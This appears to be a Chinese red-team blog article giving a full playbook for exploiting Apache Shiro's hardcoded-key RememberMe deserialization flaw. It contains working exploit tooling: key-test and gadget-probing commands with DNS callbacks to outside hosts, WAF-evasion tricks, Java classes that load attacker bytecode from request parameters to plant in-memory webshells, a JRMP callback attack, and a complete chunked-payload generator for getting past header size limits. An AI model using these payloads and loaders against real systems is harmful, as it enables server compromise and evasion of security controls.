问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
活动
摸鱼办
搜索
登录
注册
一文搞懂Shiro站点打法全思路
漏洞分析
作为以Java反序列化为载体的经典老洞Shiro的RememberMe硬编码反序列化攻击,它在攻防演练中屡见不鲜,帮助攻防人员拿下一个又一个点。今天作为安服仔的笔者介绍Shiro硬编码Key反序列化的经典打法。笔者几次护网中都遇到几次Shiro,也总结了一点许经验,在这里与各位师傅们分享。
一文搞懂Shiro站点打法全思路 ================ 前言: === 作为以Java反序列化为载体的经典老洞Shiro的RememberMe硬编码反序列化攻击,它在攻防演练中屡见不鲜,帮助攻防人员拿下一个又一个点。今天作为安服仔的笔者介绍Shiro硬编码Key反序列化的经典打法。笔者几次护网中都遇到几次Shiro,也总结了一点许经验,在这里与各位师傅们分享。同时作为安服仔我也造轮子搞了款自用的Java漏洞利用工具,本文章也会介绍自用的工具如何在Shiro中进行漏洞利用的。其实换成其他工具也是一样的道理,重要的是思路。 本文不仅仅限于Shiro,很多情况下Java反序列化黑盒测试也是差不多如此的思路。 思路: === 思路章节介绍从网站Shiro的识别到内存马打入的完整思路: 1. 目标网站是否使用Shiro:请求包发送Cookie: rememberMe\\=1,返回包中出现deleteMe=1则为Shiro 2. 加密方式和密钥Key识别:PrincipalCollectionShiroKeyTest 3. 利用链/中间件环境/JDK版本确认:FindClassByDNS/FindGadgetByDNS/FindClassByBomb 4. 利用链漏洞利用:直接攻击/字节码分离加载/JRMP反连/ShiroChunkPayload分块传输 5. Shiro对抗WAF:HTTP请求包变形/Shiro-Base64混淆 1. 判断网站是否使用Shiro ================ 第一步:互联网中任何登录框都可能是Shiro,那么该如何判断是否为Shiro呢? 答案很简单直接在Cookie后面加rememberMe,响应中出现Set-Cookie: rememberMe即为Shiro。像ShiroAttack2和BurpShiroPassiveScan这类工具也是这样判断的  2. 加密方式和密钥Key识别 =============== 确定站点为Shiro后,如何测试出它的加密方式和密钥key呢?通过研究发现当Shiro在处理RememberMe时候,如果密钥正确并且反序列化成功返回的是对象是PrincipalCollection,不会触发异常,响应包则不会带上deleteMe的头,所以可以序列化SimplePrincipalCollection对象来测试Shiro的加密方式和key是否正确。学习自:[基于SimplePrincipalCollection检测key是否正确](https://www.cnblogs.com/zpchcbd/p/15092263.html) 工具YsoSimple:使用PrincipalCollectionShiroKeyTest利用链来检测当前key是否正确 ```bash -m YsoAttack -g PrincipalCollectionShiroKeyTest --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==" ``` 最后响应中没有Set-Cookie: rememberMe=deleteMe;即为AES加密模式和密钥Key均正确  而在实战中通常我们使用ShiroAttack2或者来BurpShiroPassiveScan来批量爆破Shiro的key和加密方式。 3. Shiro对抗WAF ============= 通常情况下遇到以下三种情况可判断为攻击被WAF拦截: - HTTP请求发出后连接立马被断开 - HTTP响应码为403 - HTTP响应中出现WAF的拦截防护页面 关于Shiro的反序列化绕WAF其实有很多种方式,归类下可以大致分为俩种: 1. HTTP请求包变形 2. Shiro-Base64编码混淆 3.1 HTTP请求包变形 ------------- Shiro的HTTP请求包变形过WAF: - HTTP请求方式变形 - rememberMe前后加内容 ### 3.1.1 HTTP请求方式变形 将HTTP请求改为PUT,DELETE,OPTIONS,TRACE,XXXX,或者不加都可以正常触发漏洞,这部分原理可以学习c0ny1师傅的[shiro反序列化绕WAF之未知HTTP请求方法](https://gv7.me/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/)文章。   ### 3.1.2 rememberMe前后加内容 在rememberMe前后都可添加若干个空格或者Tab来触发漏洞  3.2 Shiro-Base64混淆 ------------------ Shiro的Base64混淆过WAF: - Base64内容中混淆脏数据 - Base64后加脏数据 ### 3.2.1 Base64内容中混淆脏数据 Shiro时自己实现的Base64的编码和解码:[org.apache.shiro.codec.Base64](https://shiro.apache.org/static/1.12.0/apidocs/org/apache/shiro/codec/Base64.html),它的Base64库对数据进行解密时会先剔除些不合法的特殊字符,简单分析下: 首先发送这样的payload,在Base64编码的字符前面加了俩个$$符,并且注意到在payload最后还有一个"="(这个后面会用到)  调试然后在CookieRememberMeManager这里会先获取rememberMe的字段内容,它会先剔除最后一个`=`等号之后的内容(所以我们也可以在`=`后面加脏字符来绕waf),然后再base64解码  进入ensurePadding方法然后再进入`Base64#decode`的逻辑,关键点就在`discardNonBase64`方法中  如果对某个字节的`isBase64`判断结果为false,则不会将其添加到加密的数组`groomeData`中。  isBase64方法的内容如下:所以只要让`base64Alphabet[octect]==-1`则可以不进入加密数组中,`octect`是ascii码值  查了下ascii码表然后再对照`base64Alphabet`,或许可以填充以下字符来做为脏字符。  最后经过测试Shiro Base64解密会对这些字符进行剔除`{'$','#','&','!','%','*','-','.'}` 在YsoSimple工具中添加-shiro-base64WafBypas参数并指定垃圾字符的数量来对Base64数据进行混淆,使用如下: ```bash -m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:auto_cmd:calc" -shiro-base64WafBypass 150 --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==" ``` 测试效果:  ### 3.2.2 Base64后加脏数据 通过测试发现在Shiro加密的Base64数据后加一个"="等号然后接各种各样的脏数据都能触发漏洞利用:  这个技巧在leveryd师傅的[你的扫描器可以绕过防火墙么?(一)](https://mp.weixin.qq.com/s/P5h9_K4YcvsrU4tsdHsJdQ)文章中有提及到,php、python、openresty都会不同程度地受Base64变形Payload影响。 3.3 WAF影响的情况 ------------ 实战中遇到过俩次对PrincipalCollectionShiroKeyTest探测AES密钥和加密方式的Payload拦截的情况,通常我们爆破密钥使用ShiroAttack2或者BurpShiroPassiveScan插件,此类工具没有实现Shiro绕WAF的方式。当实战中PrincipalCollectionShiroKeyTest撞到WAF时,可以把绕WAF的方式补充到工具中然后再去爆破。 4. 利用链/中间件环境/JDK版本确认 ==================== 第三步:当我们已经确定Shiro的加密方式和Key,这个点没有理由打不下来。这个时候初级安服可能想着工具一键化利用,但是很多工具不能说是完美打点漏洞利用,因为实战中目标环境也许不出网,没有常见利用链,中间件不是常见中间件,JDK也许高版本,Shiro自身Buggy的ClassLoader的坑。当我们用工具稀里糊涂的操作了半天发现内存马没有打进去,这里面出问题的情况可能很多,到时候肯定一头雾水,所以不如在漏洞利用之前我们就把目标站点环境的情况彻底摸清,到时候漏洞利用时就有清晰的思路。 ### 4.1 起手式:URLDNS/FindClassByBomb JDK原生利用链初探 URLDNS:使用URLDNS利用链攻击,当DNS服务器收到请求后证明Shiro反序列化漏洞确系存在并且DNS出网,后续我们使用(FindClassByDNS/FindGadgetByDNS利用链)借助DNS探测目标系统存在的依赖,中间件环境,JDK版本。 URLDNS:以DNS的方式来探测目标是否dns出网,为后续FindGadgetByDNS探测环境做准备。 ```bash -m YsoAttack -g URLDNS -a "http://tonjwpkypp.dnsns.cn" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==" ``` FindClassByBomb:使用FindClassByBomb利用链攻击,当利用链发出后本次响应后有明显的延迟则证明Shiro反序列化漏洞确系存在,如果上述URLDNS测试完后发现DNS不出网,后续我们可以继续使用FindClassByBomb探测目标系统存在的依赖,中间件环境,JDK版本。关于FindClassByBomb利用链的原理可以学习c0ny1大师的文章:[构造java探测class反序列化gadget](https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/) ```bash -m YsoAttack -g FindClassByBomb -a "java.lang.String|20" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==" ``` ### 4.2 探测环境:FindClassByDNS/FindGadgetByDNS/FindClassByBomb FindGadgetByDNS:FindClassByDNS和FindGadgetByDNS很类似的,这里介绍FindGadgetByDNS,它可以通过一次性反序列化同时探测目标环境中是否存在某些类,如果这些类存在就会收到这些类相关的DNS请求。关于FindGadgetByDNS利用链的原理可以学习kezibei大师的项目:[Urldns](https://github.com/kezibei/Urldns) 使用的注意事项:如果WAF有拦截或者中间件限制长度情况下,我们注意不能一次性探测太多因为利用链过长会被拦截 该利用的局限性:需要DNS出网 // 使用all探测 FindGadgetByDNS 能探测的所有内容 ```bash -m YsoAttack -g FindGadgetByDNS -a "string.dnslog.cn:all" ``` // 对指定的内容进行探测,用竖杠分割开来 ```bash -m YsoAttack -g FindGadgetByDNS -a "string.dnslog.cn:CommonsBeanutils2|C3P0|Fastjson|Jackson" ``` FindClassByBomb:当利用链发出后本次响应后有明显的延迟则证明探测的类确系存在。如果目标环境DNS不出网,我们可以使用FindClassByBomb探测目标系统存在的依赖,中间件环境,JDK版本。 ```bash -m YsoAttack -g FindClassByBomb -a "org.apache.catalina.core.StandardContext|20" ``` ### 4.3 需要探测的内容:OS/依赖/中间件/JDK 通常我们需要探测的内容有如下,以及我们为什么探测这些: - Gadget利用链:利用链是我们漏洞利用重要基石,只有目标系统存在该依赖我们才能利用成功 - CB系列:注意CB19x,CB18x,CB16x,CB15x的suid均不相同。Shiro自带CB19 - CC系列:CC10 - C3P0系列: - Web中间件环境:目标Shiro可能跑在Tomcat/SpringMVC/Undertow/Jetty这种web框架下,不同框架种植不同的内存马 - OS操作系统 windows/linux:后续如果我们分块落地写文件,需要先确定下操作系统 - JDK版本:jdk版本不同Base64的全限定类名也不同,jdk高版本有Module防护模式 更多的探测内容:大佬们依据真实场景自行突破...... 5. 利用链漏洞利用 ========== 第五步:有了前面的环境探测铺垫,我们已经把目标环境摸得差不多。此部分我们开始使用利用链进行漏洞利用,每个利用链最终会有不同的利用效果,本部分以CommonsBeautils利用链来介绍几种常见的Shiro利用方式。 5.1 利用链简单利用 ----------- 在已经知晓目标系统依赖的情况下,先通过用dnslog或者sleep的方式测试下,确保我们的利用链能够正常使用,以CommonsBeautils利用链的Templateslmpl模式来举例: Templateslmpl利用链dnslog出网测试: ```bash -m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:dnslog:vflbvindls.dnsns.org" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="" ``` 延迟测试: ```bash -m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:sleep:5" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="" ``` 5.2 直接字节码加载 ----------- 在目标系统没有任何坑点和限制条件下,直接在HTTP包的rememberMe部分直接发送Payload是最方便的利用方式: ```bash -m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:class\_file:/tmp/T2992678354900.class" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==" ``` 5.3 JRMP反连攻击 ------------ JRMP攻击链的优势如下,可以学习Orange大师的文章:[Pwn a CTF Platform with Java JRMP Gadget](https://blog.orange.tw/posts/2018-03-pwn-ctf-platform-with-java-jrmp-gadget/) 优势:JRMPClient利用链Payload很短;能避免Jetty,Weblogic,Tomcat6.0,undertow此类中间件对TemplatesImpl无法反序列化的情况。 缺陷:需要TCP出网;目标系统JDK<8u241 漏洞利用方式分为俩步骤:JRMPListener开启监听,目标系统反序列化JRMPClient2利用链进行反连,目标系统收到JRMPListener发送的序列化数据紧接着反序列化CommonsBeanutils2利用链 1. JRMPListener开启RMI服务端监听: ```bash java -cp ysoSimple-1.0.1-all.jar cn.butler.yso.payloads.JRMPListener 2333 CommonsBeanutils2 "Templateslmpl:dnslog:ywsoxsrsvj.dnsns.org" ``` 2. 让目标系统反序列化JRMPClient完成攻击: ```bash -m YsoAttack -g JRMPClient2 -a "127.0.0.1:2333" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==" ``` 5.4 字节码分离加载 ----------- 在CommonsBeautils利用链的Templateslmpl模式下,因为它载体是代码执行,我们可以通过让TemplatesImpl执行的字节码是个字节码类加载的逻辑,把我们的内存马或真正漏洞利用效果的字节码放在请求体中,达到分离加载的效果。这个能显著减少rememberMe部分的Payload长度,同时漏洞利用也更加灵活。 实战中经常遇到的中间件是Tomcat和SpringMVC,下面我就按照这俩种来展示: ### 5.4.3 springmvc-shiro字节码分离加载 1. 让Templateslmpl利用链加载"请求体参数类加载的字节码" ```bash -m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:class\_file:/tmp/T96325784464700.class" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==" ``` T96325784464700.class 内容为读取请求参数classData中的Base64数据并解密然后类加载: ```java import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.List; import org.apache.shiro.codec.Base64; public class T96325784464700 extends AbstractTranslet { public T96325784464700() { try { javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest(); java.lang.reflect.Field r = request.getClass().getDeclaredField("request"); r.setAccessible(true); String classData = request.getParameter("classData"); byte\[\] classBytes = org.apache.shiro.codec.Base64.decode(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class\[\] { byte\[\].class, int.class, int.class } ); defineClassMethod.setAccessible(true); Class evilClass = (Class) defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(), new Object\[\] { classBytes, new Integer(0), new Integer(classBytes.length) } ); evilClass.newInstance(); } catch (Exception var18) {} } } ``` 2. 漏洞利用:在HTTP的remeberMe中填充上述第一步生成的payload,POST的user参数中填充Base64格式内存马:记得URI编码  ### 5.4.2 tomcat-shiro字节码分离加载 1. 让Templateslmpl利用链加载"请求体参数类加载的字节码" ```bash -m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:class\_file:/tmp/T96325784464600.class" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==" ``` T96325784464600.class 内容为读取请求参数user中的Base64数据并解密然后类加载: ```java import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.List; import org.apache.shiro.codec.Base64; public class T96325784464600 extends AbstractTranslet { private static Object getFV(Object var0, String var1) throws Exception { Field var2 = null; Class var3 = var0.getClass(); while(var3 != Object.class) { try { var2 = var3.getDeclaredField(var1); break; } catch (NoSuchFieldException var5) { var3 = var3.getSuperclass(); } } if (var2 == null) { throw new NoSuchFieldException(var1); } else { var2.setAccessible(true); return var2.get(var0); } } public T96325784464600() { try { String var3 = null; boolean var4 = false; Thread\[\] var5 = (Thread\[\])getFV(Thread.currentThread().getThreadGroup(), "threads"); for(int var6 = 0; var6 < var5.length; ++var6) { Thread var7 = var5\[var6\]; if (var7 != null) { String var2 = var7.getName(); if (!var2.contains("exec") && var2.contains("http")) { Object var1 = getFV(var7, "target"); if (var1 instanceof Runnable) { try { var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global"); } catch (Exception var17) { continue; } List var9 = (List)getFV(var1, "processors"); for(int var10 = 0; var10 < var9.size(); ++var10) { Object var11 = var9.get(var10); var1 = getFV(var11, "req"); Object var12 = var1.getClass().getMethod("getNote", Integer.TYPE).invoke(var1, new Integer(1)); var3 = (String)var12.getClass().getMethod("getParameter", String.class).invoke(var12, new String("user")); if (var3 != null && !var3.isEmpty()) { byte\[\] var13 = Base64.decode(var3); Method var14 = ClassLoader.class.getDeclaredMethod("defineClass", byte\[\].class, Integer.TYPE, Integer.TYPE); var14.setAccessible(true); Class var15 = (Class)var14.invoke(this.getClass().getClassLoader(), var13, new Integer(0), new Integer(var13.length)); var15.newInstance().equals(var12); var4 = true; } if (var4) { break; } } } } } } } catch (Exception var18) { } } } ``` 2. 漏洞利用:在HTTP的remeberMe中填充上述第一步生成的payload,POST的user参数中填充Base64格式内存马:记得URI编码  其实从代码中也可以看出这种方式的技术点是获取request对象然后去读取我们设定参数中的内容来类加载,不同的中间件获取request对象的方式不同,这个点要注意... 5.5 分块传输种马 ---------- Shiro攻防中还有个经典的问题就是Header的长度限制,通常情况下对Shiro的Header的限制可能是WAF也可能是Tomcat这种中间件。不考虑修改Tomcat的修改MaxHeaderSize和绕WAF的手段,单从缩小Payload长度来做,有什么办法呢?我们经常漏洞利用使用TemplatesImpl模式利用链,它的载体是代码执行,所以操作余地很多,下面介绍这种模式下的分块利用。 首先明白影响我们发送Payload长度的因素,有俩种情况: 1. Gadgets利用链的长度:CommonsBeanutils此类利用链是加载AbstractTranslet继承类的字节码来利用的,这块有无办法缩短 2. 漏洞利用加载字节码长度:种植内存马时候,它的字节码长度本来就不小,如果嵌入到利用链中就会使Payload变得更长 ### 5.5.1 Gadgets利用链长度缩短 对于TemplatesImpl系列的利用链,学习了下4ra1n师傅的[终极Java反序列化Payload缩小技术](https://mp.weixin.qq.com/s/cQCYhBkR95vIVBicA9RR6g)文章。整理下就是从TemplatesImpl链角度缩小和从加载的字节码角度缩小 TemplatesImpl加载的字节码类缩小手段: - ByteCodes字节码类中捕获的异常不处理 - LINENUMBER指令删除 - 使用javassist生成字节码 - 删除继承AbstractTranslet类需要重写的俩个方法(使用javassist生成的字节码自动没有重写) TemplatesImpl链缩小手段: - 设置\_name属性是一个字符 - 其中\_tfactory属性 Gadgets#createCompressTemplatesImpl方法: ```java if(command.toLowerCase().startsWith(CustomCommand.COMMAND\_CLASS\_FILE)){ classBytes = CommonUtil.readFileByte(command.substring(CustomCommand.COMMAND\_CLASS\_FILE.length())); }else if(command.toLowerCase().startsWith(CustomCommand.COMMAND\_CLASS\_BASE64)){ classBytes = new BASE64Decoder().decodeBuffer(command.substring(CustomCommand.COMMAND\_CLASS\_BASE64.length())); } else { CtClass clazz = classPool.makeClass("C"); clazz.defrost(); String code = TemplatesImplUtil.getCmd(command); clazz.makeClassInitializer().insertAfter(code); CtClass superC = classPool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superC); clazz.getClassFile().setVersionToJava5(); classBytes = clazz.toBytecode(); } //使用ASM删除LINENUMBER指令 byte\[\] asmResolveBytes = asmResolveClassBytes(classBytes); ``` // inject class bytes into instance Reflections.setFieldValue(templates, "\_bytecodes", new byte\[\]\[\] {asmResolveBytes}); Reflections.setFieldValue(templates, "\_name", "P"); //设置\_name名称可以是一个字符 //其中\_tfactory属性可以删除(分析TemplatesImpl得出) return templates; ```php ### 5.5.2 分块字节码长度 其实最严重的就是我们想要加载的字节码长度太长,从字节码角度其实不太好进行优化缩短。类加载的角度可以从URL进行远程类加载URLClassLoader,也可以读取某个位置的字节码内容然后ClassLoader#defineClass来类加载。所以可以转换思路将字节码分段写在某些位置,然后用类加载器来加载。 字节码写入的位置:分块写字节码并加载,学习bmth666的[Shiro绕过Header长度限制进阶利用](http://www.bmth666.cn/2024/11/03/Shiro%E7%BB%95%E8%BF%87Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8/)文章,大师傅介绍了三种方法: - 落地写文件并加载 - 线程名写字节码并加载 - 设置系统属性写字节码并加载 bmth666师傅文章中把最后的构造过程也提供出来了,稍作修改就可以直接使用。下面是我补充的设置系统属性写字节码并加载 ```java package cn.butler.yso.exploit; import cn.butler.payloads.ObjectPayload; import cn.butler.yso.Serializer; import org.apache.shiro.Encrypt.CbcEncrypt; import org.apache.shiro.Encrypt.ShiroGCM; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; import java.nio.file.StandardOpenOption; import java.util.Base64; public class ShiroChunkPayload { public static String gadget = "CommonsBeanutils2"; public static String aesModel = "CBC"; public static String shirokey = "kPH+bIxk5D2deZiIxcaaaA=="; public static String fileClassByteCode; public static String fileOutput; public static void main(String\[\] args) throws Exception{ // 解析命令行参数 for (int i = 0; i < args.length; i ++ ) { switch (args\[i\]) { case "-h": System.out.println("Usage: java -cp ysoSimple.jar cn.butler.yso.exploit.ShiroChunkPayload \[-g <gadget>\] \[-m <aseModel>\] \[-k <shiroKey>\] \[-f <fileClassByteCode>\] \[-o <fileOutput>\] \[-h\]"); return; case "-g": gadget = args\[i+1\]; break; case "-m": aesModel = args\[i+1\]; break; case "-k": shirokey = args\[i+1\]; break; case "-f": fileClassByteCode = args\[i+1\]; break; case "-o": fileOutput = args\[i+1\]; break; } } // String gadget = args\[0\]; // String aesModel = args\[1\]; // String shirokey = args\[2\]; // 文件中是字节码的位置 // String fileClassByteCode = args\[3\]; String base64 = Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(fileClassByteCode))); // String fileName = args\[4\]; System.out.println("\[+\] Yso Gadget: " + gadget); System.out.println("\[+\] Shiro AES Model: " + aesModel); System.out.println("\[+\] Shiro Key: " + shirokey); System.out.println("\[+\] Base64 ClassData Length: " + base64.length()); System.out.println("\[+\] Chunk Payload Write To: " + fileOutput); System.out.println("----------------------------------------"); // 定义每个数据块的大小为1000字符 int groupSize = 1000; // 获取Base64字符串的长度 int length = base64.length(); // 初始化起始索引为0,表示从字符串的第一个字符开始处理 int startIndex = 0; // 计算结束索引,确保不超过字符串的总长度,取较小值 int endIndex = Math.min(length, groupSize); // 分块数量 int a = 1; //分块设置系统属性的反序列化Gadget生成 System.out.println("\[\*\] 开始生成设置系统属性的Payload:"); while (startIndex < length) { String group = base64.substring(startIndex, endIndex); startIndex = endIndex; //ShiroChunk endIndex = Math.min(startIndex + groupSize, length); String command = "Templateslmpl:system\_set\_property:" + String.valueOf(a) + ":" + group; //序列化Gadget Object gadgetPayload = ysoGadgetGenerate(gadget, command); //AES加密 String aesEncryptPayload = aesEncryptGenerate(gadgetPayload,aesModel,shirokey); String describe = String.format("\[\*\] 第 %d 组数据长度为: %d",a,aesEncryptPayload.length()); System.out.println(describe); System.out.println(aesEncryptPayload); appendToFile(fileOutput,aesEncryptPayload); System.out.println("----------------------------------------"); a++; } System.out.println(String.format("\[\*\] 写入分块设置系统属性的反序列化Gadget到 %s 中",fileOutput)); System.out.println("----------------------------------------"); //系统属性类加载的反序列化Gadget生成 System.out.println("\[\*\] 开始生成类加载的Payload:"); String command = "Templateslmpl:system\_property\_classloader:" + String.valueOf(a); //序列化Gadget Object gadgetPayload = ysoGadgetGenerate(gadget, command); //AES加密 String aesEncryptPayload = aesEncryptGenerate(gadgetPayload,aesModel,shirokey); String describe = String.format("\[\*\] 系统属性类加载的反序列化Gadget长度为: %d",aesEncryptPayload.length()); System.out.println(describe); System.out.println(aesEncryptPayload); } /\*\* \* 生成指定的Yso的Gadget \* @param gadget \* @param payload \* @return \*/ private static Object ysoGadgetGenerate(String gadget,String payload){ return ObjectPayload.Utils.makePayloadObject("YsoAttack", gadget, payload); } /\*\* \* 序列化Gadget并进行AES加密 \* @param object \* @param aesModel \* @param shirokey \* @return \* @throws IOException \*/ private static String aesEncryptGenerate(Object object,String aesModel,String shirokey) throws IOException { byte\[\] serialize = Serializer.serialize(object); String encryptPayload = ""; if(aesModel != null && aesModel.equals("GCM")){ //AES-GCM,Base64 ShiroGCM shiroGCM = new ShiroGCM(); encryptPayload = shiroGCM.encrypt(shirokey,serialize); }else { //AES-CBC,Base64 CbcEncrypt cbcEncrypt = new CbcEncrypt(); encryptPayload = cbcEncrypt.encrypt(shirokey,serialize); } return encryptPayload; } /\*\* \* 将数据追加到文件中,并且每次追加数据时换行 \* \* @param fileName 文件名 \* @param data 要追加的数据 \*/ public static void appendToFile(String fileName, String data) { try { //使用 Files.write() 方法追加数据,并在数据前加上换行符 //StandardOpenOption.CREATE 确保如果文件不存在则会被创建。 //StandardOpenOption.APPEND 确保数据会被追加到文件末尾,而不是覆盖原有内容。 Files.write(Paths.get(fileName),("\\n" + data).getBytes(),StandardOpenOption.CREATE, StandardOpenOption.APPEND); } catch (IOException e) { e.printStackTrace(); } } } ``` YsoSimple工具中的TemplatesImplUtil中增加`system_set_property`和`system_property_classloader`的场景: ```java }else if (command.toLowerCase().startsWith(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_SET)) { String nameAndValue = command.substring(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_SET.length()); String\[\] nameAndValueArray = nameAndValue.split(":", 2); // 使用第一个冒号进行切割,限制切割为最多两个部分 cmd = String.format("System.setProperty(\\"%s\\",\\"%s\\");",nameAndValueArray\[0\],nameAndValueArray\[1\]); }else if (command.toLowerCase().startsWith(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_CLASSLOADER)) { String systemNumber = command.substring(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_CLASSLOADER.length()); int a = Integer.valueOf(systemNumber); String bytestr =""; for(int i=1;i<=a-1;i++){ if(i<a-1){ bytestr = bytestr + "System.getProperty(\\""+i+"\\")+"; }else { bytestr = bytestr + "System.getProperty(\\""+i+"\\");"; } } cmd = "{try {\\n" + "ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\\n" + "String base64Str = "+bytestr+"\\n" + "byte\[\] clazzByte = org.apache.shiro.codec.Base64.decode(base64Str);\\n" + "java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\\"defineClass\\", new Class\[\]{byte\[\].class,int.class,int.class});\\n" + "defineClass.setAccessible(true);\\n" + "Class clazz = (Class)defineClass.invoke(classLoader,new Object\[\]{clazzByte, new Integer(0), new Integer(clazzByte.length)});\\n" + "clazz.newInstance();\\n" + "}catch (Exception e){}}"; } ``` ysoSimple.jar中ShiroChunkPayload使用方式: ```bash java -cp ysoSimple-1.0.1-all.jar cn.butler.yso.exploit.ShiroChunkPayload -g CommonsBeanutils2 -m CBC -k kPH+bIxk5D2deZiIxcaaaA== -f /tmp/HTMLUtil.class -o /tmp/ShiroChunk.txt ``` 使用上述命令后的工具生成的最终效果:  然后将 C:\\Users\\butler\\Desktop\\Random\\Shiro\\ShiroChunk.txt 放入Yakit进行发包,在目标系统中的系统属性中写入字节码  最后发送类加载的Payload将会执行上述的字节码逻辑  上面ShiroChunkPayload生成的分块Payload没有增加Shiro Base64的混淆,所以可能会被WAF针对拦截,这块涉及到绕WAF可以参考前面绕WAF的思路。如果要增加Base64混淆绕WAF,师傅们可以简单改改。 中间件对TemplatesImpl影响(坑点) ----------------------- 实战中有次遇到undertow中间件,经过前期的信息探测确系目标出网且存在CB19x的依赖。但是漏洞利用时候发现无法使用CB的TemplatesImpl利用链攻击,非常的奇怪,因为出网而且目标正好是jdk低版本。最后用JRMPClient2的的反连二次反序列化打进去了。 后来发现有大佬也遇到中间件对TemplatesImpl报错的情况:<https://github.com/feihong-cs/ShiroExploit-Deprecated/issues/36> 目前整理的对TemplatesImpl的利用可能产生影响的中间件:Jetty,Weblogic,Tomcat6.0,undertow 因为只影响CB打TemplatesImpl,所以我们可以切换CB的其他打法进行漏洞利用:CommonsBeanutils-LdapAttribute。CB还有个SignedObject二次反序列化打法,我本地搭建Tomcat6.0对SignedObject反序列化打法测试,发现也是报同样的错误,这个打法也是打不成:  总结:在遇到Jetty,Weblogic,Tomcat6.0,undertow中间件时会遇到TemplatesImpl无法正常利用的情况,我们切换思路可继续漏洞利用: - JRMPClient反连:JRMP协议的反序列化利用,jdk<8u24。项目中遇到太低的jdk好像也打不了这个(jdk1.6) - CommonsBeanutils-LdapAttribute:ldap注入。这个注意ldap地址必须是:ldap://127.0.0.1:1389/,后面不能加东西 ```bash -m YsoAttack -g CommonsBeanutils2 -a "LdapAttribute:ldap://127.0.0.1:1389/" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==" ``` - C3P0利用链攻击 结尾: === 实战中我们可能遇到各种各样的环境,遇到复杂的场景时候必须要明确思路,如果能在本地模拟环境就先在模拟环境把漏洞利用调好,最后到实际环境中去攻防。未完持续...... Reference ========= <https://github.com/B0T1eR/ysoSimple> <https://github.com/B0T1eR/ysoSimple/blob/master/ysoSimple-Wiki.md#5shiro550%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96ysoattack> <https://gv7.me/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/> <https://mp.weixin.qq.com/s/cQCYhBkR95vIVBicA9RR6g> [https://mp.weixin.qq.com/s/P5h9\_K4YcvsrU4tsdHsJdQ](https://mp.weixin.qq.com/s/P5h9_K4YcvsrU4tsdHsJdQ) <https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/> <https://github.com/kezibei/Urldns> <https://blog.orange.tw/posts/2018-03-pwn-ctf-platform-with-java-jrmp-gadget/> <http://www.bmth666.cn/2024/11/03/Shiro%E7%BB%95%E8%BF%87Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8/> <https://github.com/feihong-cs/ShiroExploit-Deprecated/issues/36>
发表于 2026-01-29 09:00:00
阅读 ( 559 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
B0T1eR
登山爱好者
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!